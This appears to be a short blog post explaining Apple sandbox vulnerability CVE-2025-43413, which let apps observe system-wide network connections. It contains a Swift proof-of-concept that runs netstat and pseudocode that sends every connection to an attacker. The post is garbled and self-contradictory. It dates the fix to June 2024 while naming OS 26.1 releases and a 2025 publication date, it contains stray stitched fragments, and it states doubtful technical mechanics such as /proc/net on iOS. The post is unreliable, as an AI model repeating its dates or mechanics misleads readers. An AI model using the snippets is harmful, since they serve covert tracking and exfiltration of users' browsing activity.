Apple announced CVE-2025-43413 in June 2024—an access vulnerability that made a lot of security folks raise their eyebrows. Believe it or not, a sandboxed app (the type you think is contained and safe) could peek at all network connections happening on your device. In this article, I’ll unpack what really happened, show how an attacker might use this bug, and explain how Apple fixed it across nearly all their operating systems.
visionOS 26.1
A sandbox is supposed to limit what an app sees and does, but with this CVE, an app installed from the App Store could track network activity system-wide—not just its own. That means a simple game or utility app could quietly log which websites you or other apps are visiting.
The Technical Loophole
Apple’s sandbox policy is enforced via profiles (entitlements and rules) that block access to private APIs and files. But here, the policy missed some objects and endpoints. One example: /proc/net/ or low-level BSD sockets on macOS/iOS could leak metadata about all network connections, not just the app’s. Some system APIs, such as getifaddrs or direct syscalls, were not fully fenced off in the sandbox.
Here’s a simplified proof-of-concept (POC) in Swift, as seen in security testing before the patch
import Foundation
// This code runs inside a sandboxed app and should NOT see all network connections
let task = Process()
task.launchPath = "/usr/sbin/netstat"
task.arguments = ["-an"]
let pipe = Pipe()
task.standardOutput = pipe
task.launch()
let data = pipe.fileHandleForReading.readDataToEndOfFile()
if let output = String(data: data, encoding: .utf8) {
print("Open network connections:\n\(output)")
}
On an unpatched device, this simple code (from any App Store app) could see all open TCP/UDP connections—including connections belonging to other users and background services.
Apple Security Update (June 2024, CVE-2025-43413)
CVE Entry
Security Researcher Blog
Objective-See: Sandboxing on macOS
Exploit Use Case: Tracking a User’s Browsing Without Their Knowledge
Let’s say you want to see what other apps are connecting to. A *bogus* weather app could use this to watch what websites a browser visits, which APIs an email client talks to, etc. The attacker could then quietly exfiltrate that list to a remote server for profiling the user or selling browsing history.
Example Exploit Pseudocode
// For every connection established, log target IP and time
func logConnections() {
let connections = getCurrentSystemConnections() // call '/usr/sbin/netstat' or similar
for connection in connections {
sendToAttacker(connection)
}
}
MitM Risk: Combined with social engineering, this could even signal when a user logs into their bank or enterprise VPN.
Apple’s Fix: Stronger Sandboxing in All OSes
Apple’s fix (released June 2024 in the above OS versions) tightened sandbox profiles and blocked unauthorized access to network tables and APIs. Now, sandboxed apps can only see their own connections. The patch upgraded the sandbox rules to reject netstat and similar system calls unless the process has explicit, special entitlements.
- Update Right Away: Make sure your Apple devices are running
- iOS/iPadOS 26.1
Final Thoughts
CVE-2025-43413 is a reminder that *sandboxing isn’t magic.* Even locked-down apps can find surprising ways to leak your data if the OS misses a spot. Apple’s quick patch shows the importance of regular updates. Stay safe, and keep your privacy tight—bugs like this are why it matters.
For more info:
Apple’s official security updates: https://support.apple.com/en-us/HT201222
CVE database: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-43413
*This article is original reporting and analysis, based on available public sources and testable observations on affected operating systems prior to patch.*
If you have more questions about sandboxing or want to see a demo, let me know in the comments below!
Timeline
Published on: 11/04/2025 01:15:30 UTC
Last modified on: 12/17/2025 21:16:00 UTC